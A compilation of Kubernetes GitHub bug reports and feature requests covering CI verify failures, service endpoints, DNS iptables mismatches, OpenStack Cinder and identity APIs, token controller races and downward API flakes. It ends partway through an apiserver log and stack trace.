none\r - os  e.g. from /etc/os-release :  ubuntu 16.04\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r    master-blocking/verify-master  https://testgrid.k8s.io/sig-release-master-blocking verify-master \r \r   which test s  are failing  :\r verify.godeps\r    \r your vendored results are different:\r diff -naupr -x build -x 'authors ' -x 'contributors ' vendor/k8s.io/apiextensions-apiserver/pkg/apis/apiextensions/v1beta1/generated.pb.go /tmp/gopath.ufeur6/src/k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/apis/apiextensions/v1beta1/generated.pb.go\r --- vendor/k8s.io/apiextensions-apiserver/pkg/apis/apiextensions/v1beta1/generated.pb.go\t2019-03-04 21:58:23.139775316 +0000\r +++ /tmp/gopath.ufeur6/src/k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/apis/apiextensions/v1beta1/generated.pb.go\t2019-03-04 22:00:54.000000000 +0000\r   ...\r    \r verify.staging-godeps\r    \r unexpected dirty working directory:\r \r   diff --git a/staging/src/k8s.io/apiextensions-apiserver/pkg/apis/apiextensions/v1beta1/generated.pb.go b/staging/src/k8s.io/apiextensions-apiserver/pkg/apis/apiextensions/v1beta1/generated.pb.go\r   index ef2dfe16aa..90bae839e1 100644\r   --- a/staging/src/k8s.io/apiextensions-apiserver/pkg/apis/apiextensions/v1beta1/generated.pb.go\r   +++ b/staging/src/k8s.io/apiextensions-apiserver/pkg/apis/apiextensions/v1beta1/generated.pb.go\r   ...\r    \r \r \r   since when has it been failing  :\r last good: https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-verify-master/27209\r first bad: https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-verify-master/27210\r lastest bad: https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-verify-master/27213\r \r   anything else we need to know  :\r i initially repurposed https://github.com/kubernetes/kubernetes/issues/74261 for this, but have no changed my mind\r \r i initially thought this was due to the suspect commit range between the last good/first bad: https://github.com/kubernetes/kubernetes/compare/b1d4d4067...8770e0cd3 which caught https://github.com/kubernetes/kubernetes/pull/74664\r \r now suspect this is due to https://github.com/kubernetes/kubernetes/issues/74903 which allowed https://github.com/kubernetes/kubernetes/pull/74804 to break master\r \r /milestone v1.14\r  /  \r /cc @mariantalla @smourapina @alejandrox1 @mortent @kacole2 \r \r /assign @dims @liggitt @sttts \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r i created a service from a daemonset and i set readinessprobe on one of my containers\r i can see the status of the pod being like this\r    \r mypod-abc123    3/4     running\r    \r \r with ready: false when i describe it\r \r but when i describe the service i can see that the endpoints is having the ip of the pod altho it is not yet ready!\r \r   what you expected to happen  :\r \r unready pods should not appear in the endpoints of the service\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - create a daemonset with 2 container\r - configure a readinessprobe on one of the container  you can set high delay timeout to fake unready container \r - create a service for this daemonset\r - describe the service\r - check if unready pods are showing up in the service endpoints\r \r   anything else we need to know?  :\r \r while searching i found this  42446 \r is this by design? if yes why?\r \r   environment  :\r - kubernetes version: \r aws eks kubernetes 1.11\r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.5\ , gitcommit:\ 753b2dbc622f5cc417845f0ff8a77f539a4213ea\ , gittreestate:\ clean\ , builddate:\ 2018-12-06t01:33:57z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.8-eks-7c34c0\ , gitcommit:\ 7c34c0d2f2d0f11f397d55a46945193a0e22d8f3\ , gittreestate:\ clean\ , builddate:\ 2019-03-01t22:49:39z\ , goversion:\ go1.10.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: aws eks\r - os  e.g:  cat /etc/os-release  : workers: amazon linux 2 \r

when running tests i've seen that watch requests for pods coming from heapster are ending quite fast  i.e. most of them are significantly shorter than 1 minute - i would expect them to last 5+ minutes       i1005 14:07:55.671089       5 handlers.go:130  get /api/v1/watch/pods?fieldselector=spec.nodename%21%3d&resourceversion=768:  3m32.184678181s  0   heapster/v1.0.3  linux/amd64  kubernetes/$format  10.240.0.6:42100  i1005 14:09:31.396182       5 handlers.go:130  get /api/v1/watch/pods?fieldselector=spec.nodename%21%3d&resourceversion=4343:  1m34.758179069s  0   heapster/v1.0.3  linux/amd64  kubernetes/$format  10.240.0.6:43669  i1005 14:10:13.390656       5 handlers.go:130  get /api/v1/watch/pods?fieldselector=spec.nodename%21%3d&resourceversion=11994:  24.697363382s  0   heapster/v1.0.3  linux/amd64  kubernetes/$format  10.240.0.6:57245  i1005 14:11:25.059787       5 handlers.go:130  get /api/v1/watch/pods?fieldselector=spec.nodename%21%3d&resourceversion=15031:  44.015278283s  0   heapster/v1.0.3  linux/amd64  kubernetes/$format  10.240.0.6:36609  i1005 14:12:35.725318       5 handlers.go:130  get /api/v1/watch/pods?fieldselector=spec.nodename%21%3d&resourceversion=19762:  18.96559567s  0   heapster/v1.0.3  linux/amd64  kubernetes/$format  10.240.0.6:50178  i1005 14:14:48.173726       5 handlers.go:130  get /api/v1/watch/pods?fieldselector=spec.nodename%21%3d&resourceversion=27389:  15.221716234s  0   heapster/v1.0.3  linux/amd64  kubernetes/$format  10.240.0.6:60321        this results in too frequent unnecessary relists and higher load an apiserver/etcd.  moreover, the \ list pods\  coming from heapster are much longer: - all steps are longer  listing from etcd, processing in apiserver, sending to the client  - it is not that they are processing more data  @kubernetes/sig-scalability @kubernetes/goog-csi @lavalamp

the current ha documentation shows an image with the podmaster still in place. i believe this is no longer used, so have done a quick edit to remove it. github doesn't like the svg filetype, happy to send it on by email in that case

openstack cloud provider receives variables  tenant-id  and  tenant-name . 'tenant' is a term that corresponds to openstack v2.0 identity api, which is deprecated and is going to be removed in the next openstack release  queen . \r \r we should support user providing  project-id  and  project-name , that come from v3, the current identity api. the ideal behavior would be that when project and tenant are both provided, the tenant values are ignored\r \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r \r   what happened  :\r \r no default value for proxymode in kube-proxy componentconfig\r \r   what you expected to happen  :\r \r should set default proxymode in kube-proxy componentconfig\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

today kubelet doesn't check init container when setting sandbox privilege. https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/container/helpers.go l304\r \r however, it should.\r \r @kubernetes/sig-node-bugs

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r \r container oomkilled cause docker stuck and kubelet become notready\r \r   what you expected to happen  :\r \r kubelet recreate oomkilled container\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    yaml\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:22:21z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:10:24z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - os  e.g. from /etc/os-release :\r \r - kernel  e.g.  uname -a  :\r \r linux hostname 4.4.131-1.el7.elrepo.x86_64  1 smp wed may 2 13:09:02 edt 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r \r kubeadm\r \r - others:\r \r docker version\r    yaml\r client:\r  version:      17.03.2-ce\r  api version:  1.27\r  go version:   go1.7.5\r  git commit:   f5ec1e2\r  built:        tue jun 27 02:21:36 2017\r  os/arch:      linux/amd64\r \r server:\r  version:      17.03.2-ce\r  api version:  1.27  minimum version 1.12 \r  go version:   go1.7.5\r  git commit:   f5ec1e2\r  built:        tue jun 27 02:21:36 2017\r  os/arch:      linux/amd64\r  experimental: false\r    \r \r  dmesg  https://gist.github.com/weiwei04/7e0bafe11a13615f86b1ebf4a2815e62  shows the pod's container got killed due to oom\r \r containerd stacktrace shows containerd hold the  m.monitor.lock    https://github.com/docker/containerd/blob/v0.2.3/supervisor/monitor_linux.go l103  stuck at a  syscall.read fd, buf   https://github.com/docker/containerd/blob/v0.2.3/runtime/container.go l669  cause containerd can't create new container wait at  m.montor.lock  https://github.com/docker/containerd/blob/v0.2.3/supervisor/worker.go l59  \r \r i just't don't know why the syscall.read will stuck, since this fd is wake up from a epoll_wait.\r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r \r  \r \r   what happened  :\r \r when admission controller receives attributes for delete operations,  the old object field is always nil😅\r \r   what you expected to happen  :\r \r the old object field is assigned the the status of the object to delete. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

what happened  :\r dns resolving in the pods doesn't work  partially , as there seem to be wrong ip tables entries.\r    \r kubectl get services -n kube-system | grep kube-dns\r kube-dns               clusterip   10.96.0.10       <none>        53/udp,53/tcp   235d\r \r kubectl get endpoints kube-dns -n kube-system -o yaml\r apiversion: v1\r kind: endpoints\r metadata:\r   creationtimestamp: 2018-03-09t20:01:53z\r   labels:\r     k8s-app: kube-dns\r     kubernetes.io/cluster-service: \ true\ \r     kubernetes.io/name: kubedns\r   name: kube-dns\r   namespace: kube-system\r   resourceversion: \ 56523739\ \r   selflink: /api/v1/namespaces/kube-system/endpoints/kube-dns\r   uid: b67cec9a-23d4-11e8-a035-000d3a387bb4\r subsets:\r - addresses:\r   - ip: 10.18.132.70\r     nodename: node-05\r     targetref:\r       kind: pod\r       name: coredns-576cbf47c7-tjz82\r       namespace: kube-system\r       resourceversion: \ 56523738\ \r       uid: bd0c31c6-d838-11e8-acaf-000d3a387bb4\r   - ip: 10.18.133.65\r     nodename: node-04\r     targetref:\r       kind: pod\r       name: coredns-576cbf47c7-9rhlh\r       namespace: kube-system\r       resourceversion: \ 56360502\ \r       uid: f19c250b-d850-11e8-acaf-000d3a387bb4\r   ports:\r   - name: dns\r     port: 53\r     protocol: udp\r \r ssh node-01 sudo iptables-save | grep :53\r -a kube-sep-dwkfrs7gho3dy267 -p tcp -m tcp -j dnat --to-destination 10.18.132.70:53\r -a kube-sep-lnkmr7cnncejkczq -p udp -m udp -j dnat --to-destination 10.18.132.70:53\r -a kube-sep-mzagjffgo7x4gdzu -p udp -m udp -j dnat --to-destination 10.18.133.65:53\r -a kube-sep-zuwminp3izap23ov -p tcp -m tcp -j dnat --to-destination 10.18.133.65:53 \r ssh node-02 sudo iptables-save | grep :53\r -a kube-sep-2z4smtgncnphi6bq -p tcp -m tcp -j dnat --to-destination 10.18.130.163:53\r -a kube-sep-3uaqpykld57hf4cm -p udp -m udp -j dnat --to-destination 10.18.130.163:53\r -a kube-sep-7aw4xgpy6o326q2z -p tcp -m tcp -j dnat --to-destination 10.18.131.7:53\r -a kube-sep-amtpuerl3ipizxck -p udp -m udp -j dnat --to-destination 10.18.131.7:53\r ssh node-03.k8s sudo iptables-save | grep :53\r -a kube-sep-dwkfrs7gho3dy267 -p tcp -m tcp -j dnat --to-destination 10.18.132.70:53\r -a kube-sep-lnkmr7cnncejkczq -p udp -m udp -j dnat --to-destination 10.18.132.70:53\r -a kube-sep-mzagjffgo7x4gdzu -p udp -m udp -j dnat --to-destination 10.18.133.65:53\r -a kube-sep-zuwminp3izap23ov -p tcp -m tcp -j dnat --to-destination 10.18.133.65:53\r    \r the ip tables entries on node-03 do not match, the ip addresses in the endpoint configuration.\r \r   what you expected to happen  :\r ip tables should point to the correct kubernetes service endpoint ips.\r \r   how to reproduce it  as minimally and precisely as possible   :\r  kubectl delete pod -n kube-system kube-proxy-xxxxx   does fix the problem for a short time, but flips back to the wrong ip addresses again.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r  server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.1\ , gitcommit:\ 4ed3216f3ec431b140b1d899130a69fc671678f4\ , gittreestate:\ clean\ , builddate:\ 2018-10-05t16:36:14z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r \r - cloud provider or hardware configuration:  azure \r - os  e.g. from /etc/os-release :  centos 7 \r - kernel  e.g.  uname -a  :   linux node-03 4.18.5-1.el7.elrepo.x86_64  1 smp fri aug 24 11:35:05 edt 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools:  kubeadm \r - others: this cluster has been upgraded from 1.8  to 1.11  and then to 1.12\r \r  <!-- do not edit below this line -->\r 

https://k8s-testgrid.appspot.com/presubmits-kubernetes-nonblocking pull-kubernetes-e2e-gke\r \r sample failure: https://gubernator.k8s.io/build/kubernetes-jenkins/pr-logs/pull/72243/pull-kubernetes-e2e-gke/3801\r  also affecting other ci jobs \r \r cc @bentheelder @spiffxp @dashpole \r 

what happened  :\r some environmental variables are not propagated, so creating a kubemark-based cluster on gce requires exporting e.g.  kube_gce_network  and  instance_prefix . \r \r i suspect the problem is because of actual propagation  there are multiple layers of sourcing defaults when running  go run hack/e2e.go   or there are some assumptions backed in.. \r \r   what you expected to happen  :\r defaults are set and propagated correctly, no need to state any variables, which can be inferred directly. \r \r   how to reproduce it  as minimally and precisely as possible   :\r create cluster  i can paste an actual command, once i sanitize it . \r \r   environment  : \r gce\r \r 

i think we should support --node-name flag for kubectl run command to run a particular image in a specified node.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r openstack cinder v2\r pr  closed  https://github.com/kubernetes/kubernetes/pull/36976\r ---\r \r   is this a bug report or feature request?    choose one :\r feature request\r <!--\r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r 1.5.1\r \r   environment  :\r -   cloud provider or hardware configuration  :\r  openstack\r -   os    e.g. from /etc/os-release :\r   coreos stable 1185.5.0\r -   kernel    e.g.  uname -a  :\r 4.7.3-coreos-r3\r -   install tools  :\r manual  terraform custom \r -   others  :\r \r   what happened  :\r trying to use pv/pvc on openstack without blockstorage v1 api support fails.\r when the controller tries to satisfy the pvc and dynamically creates a cinder volume it successfully creates a volume but the return code is 202 because it is a v2 blockstorage api. and the create request is considered failed because the v1 api should return 201. it retries and creates more volumes until it hits volume quota on the tenant. \r \r   what you expected to happen  :\r create a volume and satisfy the pvc.\r \r   how to reproduce it    as minimally and precisely as possible :\r try to use dynamic pv provisioning on openstack without blockstorage v1 api.\r \r   anything else do we need to know  :\r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r using  hack/local-up-cluster.sh  to start a cluster with only one node and found that there are some error logs in kubelet as following:\r \r    \r e0217 11:15:39.175803   31536 docker_sandbox.go:370  failed to list checkpoints: failed to list checkpoint store: open /var/lib/dockershim/sandbox: no such file or directory\r e0217 11:15:40.178541   31536 docker_sandbox.go:370  failed to list checkpoints: failed to list checkpoint store: open /var/lib/dockershim/sandbox: no such file or directory\r e0217 11:15:41.181541   31536 docker_sandbox.go:370  failed to list checkpoints: failed to list checkpoint store: open /var/lib/dockershim/sandbox: no such file or directory\r e0217 11:15:42.184452   31536 docker_sandbox.go:370  failed to list checkpoints: failed to list checkpoint store: open /var/lib/dockershim/sandbox: no such file or directory\r e0217 11:15:43.187075   31536 docker_sandbox.go:370  failed to list checkpoints: failed to list checkpoint store: open /var/lib/dockershim/sandbox: no such file or directory\r e0217 11:15:44.191545   31536 docker_sandbox.go:370  failed to list checkpoints: failed to list checkpoint store: open /var/lib/dockershim/sandbox: no such file or directory\r e0217 11:15:45.194913   31536 docker_sandbox.go:370  failed to list checkpoints: failed to list checkpoint store: open /var/lib/dockershim/sandbox: no such file or directory\r    \r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r

this is a follow-up to  41267.\r \r currently, the service account created in a joining cluster by  kubefed join  has role-based access to all apis and all resources in all namespaces. we should determine if there is a tighter reasonable subset, or decide that this is conceptually ok. making a tighter subset will be a small maintenance burden, and will potentially cause issues if people are trying to use older versions of kubefed with newer versions of the control plane.

currently it is possible to have the following race condition:\r \r 1. you have a custom token controller that acts on secrets when sas are created  like the  tokenscontroller  \r 2.  controllerclientbuilder  is used to build a sa for some controller\r 3. both  tokenscontroller  and the custom token controller create secrets for the sa\r 4.  controllerclientbuilder  sees the secret for the sa, and starts the controller it was building\r 5. both  tokenscontroller  and the custom token controller try to update the sa and conflict\r 6.  tokenscontroller  fails the update, and decides to delete the secret because of the conflict\r 7. the controller built by  controllerclientbuilder  is now broken because its secret was deleted\r \r it should be possible to fix the  tokenscontroller  so that it is reentrant and does not try to delete secrets on conflict errors.\r \r cc @liggitt @deads2k \r \r seen in https://github.com/openshift/origin/pull/13579 issuecomment-291219349

is this a bug report or feature request?  :\r  @kubernetes/sig-scheduling-bugs \r @kubernetes/sig-scalability-bugs \r / umbrella issue: https://github.com/kubernetes/kubernetes/issues/56062\r \r   what happened  :\r \r five   sig-scheduling  resourcequota    tests failed in https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-large-correctness/25 with a timeout.\r most of them seemed to succeed after a retry, but one of them failed twice, causing the whole job to fail.\r \r this failed in the 2000-node cluster correctness job. please take a look at this asap, because if it was caused by a regression and happens also in the 5000-node cluster job, then it will be release-blocking.

there have been   178 flakes   in various forms of downward api volume update tests   in the past week  . the flakes span several variations on the same underlying functionality  annotation/label update, direct downwardapi/projected  all rooted in the same underlying issue.\r \r the issue afaict is that the volume manger is not getting the updated version of the pod and thus the update to the downward api volume is not happening, even after periodic syncs of the pod.\r \r my investigation thus far is here:\r https://bugzilla.redhat.com/show_bug.cgi?id=1538216 c2\r \r this has been an ongoing issue for a  long  time.\r \r https://storage.googleapis.com/k8s-gubernator/triage/index.html?pr=1&sig=storage&test=on%20modification\r \r specifically\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?pr=1&sig=storage&test=on%20modification 29d7730339ad87387e21\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?pr=1&sig=storage&test=on%20modification 00453201efe289cd34ce\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?pr=1&sig=storage&test=on%20modification f2925bc52d8730d3df2c\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?pr=1&sig=storage&test=on%20modification 19fb1c2e8a094bfc157a\r \r previous incarnations of this issue  all closed :\r https://github.com/kubernetes/kubernetes/issues?q=is%3aissue+downward+api+modification+is%3aclosed\r \r most recent issues closed due to inactivity without resolution:\r https://github.com/kubernetes/kubernetes/issues/44226\r https://github.com/kubernetes/kubernetes/issues/44227\r \r origin issues:\r https://github.com/openshift/origin/issues/17605\r https://github.com/openshift/origin/issues/17556\r \r xref https://bugzilla.redhat.com/show_bug.cgi?id=1538216\r \r @derekwaynecarr @dashpole @dchen1107 @vishh @smarterclayton @runcom @yujuhong @saad-ali

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r  \r \r   what happened  :\r i specified a pod without any command and the system kept allocating it over and over with no logs or any information.\r   what you expected to happen  :\r a message should be printed saying pod/container has no command associated to it. \r \r   how to reproduce it  as minimally and precisely as possible   :\r just create a pod with a container with no-command. \r \r

@kubernetes/master\r   is this a bug report or feature request?  :\r \r \r   what happened  :\r api-server can not start up.\r   what you expected to happen  :\r api-server started up and running\r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r    \r logging error output: \ k8s\\x00\ \\f\ \\x02v1\\x12\\x06status\\x12\\x99\\x03\ \\x06\ \\x00\\x12\\x00\\x1a\\x00\\x12\\afailure\\x1a\\xb1\\x01unable to refresh the initializer configuration: get https://127.0.0.1:6443/apis/admissionregistration.k8s.io/v1alpha1/initializerconfigurations: net/http: tls handshake timeout\\\ \\x14loadingconfiguration \\xb8\\x01\ \\x06create\\x12\\x00\\x1a\\x05nodes\\\ \\xa0\\x01\ \\x1finitializerconfigurationfailure\\x12{an error has occurred while refreshing the initializer configuration, no resources can be created until a refresh succeeds.\\x1a\\x00 \\x012\\x000\\xf4\\x03\\x1a\\x00\\\ \\x00\ \r    kubelet/v1.9.2+coreos.0  linux/amd64  kubernetes/b427929  192.168.1.44:48044 \r i0409 01:31:57.049663       1 rbac.go:116  rbac deny: user \ system:kube-scheduler\  groups  \ system:authenticated\   cannot \ list\  resource \ nodes\  cluster-wide\r i0409 01:31:57.049881       1 wrap.go:42  get /api/v1/nodes?limit=500&resourceversion=0:  793.689µs  403   hyperkube/v1.9.2+coreos.0  linux/amd64  kubernetes/b427929/scheduler  127.0.0.1:43000 \r i0409 01:31:57.063457       1 node_authorizer.go:147  node deny: unknown node \ node5\  cannot get pvc default/pvc-mariadb\r i0409 01:31:57.063555       1 rbac.go:116  rbac deny: user \ system:node:node5\  groups  \ system:nodes\  \ system:authenticated\   cannot \ get\  resource \ persistentvolumeclaims\  named \ pvc-mariadb\  in namespace \ default\ \r i0409 01:31:57.063740       1 wrap.go:42  get /api/v1/namespaces/default/persistentvolumeclaims/pvc-mariadb:  828.544µs  403   kubelet/v1.9.2+coreos.0  linux/amd64  kubernetes/b427929  192.168.1.225:56894 \r i0409 01:31:57.100645       1 rbac.go:116  rbac deny: user \ system:kube-proxy\  groups  \ system:node-proxier\  \ system:authenticated\   cannot \ list\  resource \ endpoints\  cluster-wide\r i0409 01:31:57.100889       1 wrap.go:42  get /api/v1/endpoints?limit=500&resourceversion=0:  782.055µs  403   hyperkube/v1.9.2+coreos.0  linux/amd64  kubernetes/b427929  192.168.1.43:54444 \r i0409 01:31:57.123852       1 rbac.go:116  rbac deny: user \ system:kube-proxy\  groups  \ system:node-proxier\  \ system:authenticated\   cannot \ list\  resource \ services\  cluster-wide\r i0409 01:31:57.124152       1 wrap.go:42  get /api/v1/services?limit=500&resourceversion=0:  823.973µs  403   hyperkube/v1.9.2+coreos.0  linux/amd64  kubernetes/b427929  192.168.1.43:54444 \r i0409 01:31:57.235261       1 rbac.go:116  rbac deny: user \ system:kube-scheduler\  groups  \ system:authenticated\   cannot \ list\  resource \ services\  cluster-wide\r i0409 01:31:57.235527       1 wrap.go:42  get /api/v1/services?limit=500&resourceversion=0:  836.163µs  403   hyperkube/v1.9.2+coreos.0  linux/amd64  kubernetes/b427929/scheduler  127.0.0.1:43000 \r i0409 01:31:57.263532       1 node_authorizer.go:147  node deny: unknown node \ node5\  cannot get pvc default/gogs-data-v2\r i0409 01:31:57.263600       1 rbac.go:116  rbac deny: user \ system:node:node5\  groups  \ system:nodes\  \ system:authenticated\   cannot \ get\  resource \ persistentvolumeclaims\  named \ gogs-data-v2\  in namespace \ default\ \r i0409 01:31:57.263917       1 wrap.go:42  get /api/v1/namespaces/default/persistentvolumeclaims/gogs-data-v2:  984.722µs  403   kubelet/v1.9.2+coreos.0  linux/amd64  kubernetes/b427929  192.168.1.225:56894 \r i0409 01:31:57.326720       1 wrap.go:42  post /api/v1/namespaces:  1.074328ms  500\r goroutine 8385  running :\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog.  resplogger .recordstatus 0xc423139650, 0x1f4 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog/httplog.go:207 +0xdd\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog.  resplogger .writeheader 0xc423139650, 0x1f4 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog/httplog.go:186 +0x35\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  basetimeoutwriter .writeheader 0xc42624d040, 0x1f4 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:188 +0xac\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics.  responsewriterdelegator .writeheader 0xc4267f3e60, 0x1f4 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics/metrics.go:227 +0x45\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters.serializeobject 0x49ea065, 0x23, 0x7f7143e2db10, 0xc429fbb180, 0xa669a00, 0xc42604ac20, 0xc42c93a400, 0x1f4, 0xa64a6c0, 0xc42c93e3f0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters/writers.go:95 +0x8d\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters.writeobjectnegotiated 0x7f713fa0ecb0, 0xc425712060, 0xa66d640, 0xc420e5ab40, 0x0, 0x0, 0x4961418, 0x2, 0xa669a00, 0xc42604ac20, ... \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters/writers.go:123 +0x32b\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters.errornegotiated 0x7f713fa0ecb0, 0xc425712060, 0xa634400, 0xc42c93e360, 0xa66d640, 0xc420e5ab40, 0x0, 0x0, 0x4961418, 0x2, ... \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters/writers.go:142 +0x163\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.  requestscope .err 0xc423565680, 0xa634400, 0xc42c93e360, 0xa669a00, 0xc42604ac20, 0xc42c93a400 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:67 +0x10c\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.createhandler.func1 0xa669a00, 0xc42604ac20, 0xc42c93a400 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/create.go:101 +0x1645\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints.restfulcreateresource.func1 0xc4267f3dd0, 0xc42c9293e0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/installer.go:1080 +0xd5\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics.instrumentroutefunc.func1 0xc4267f3dd0, 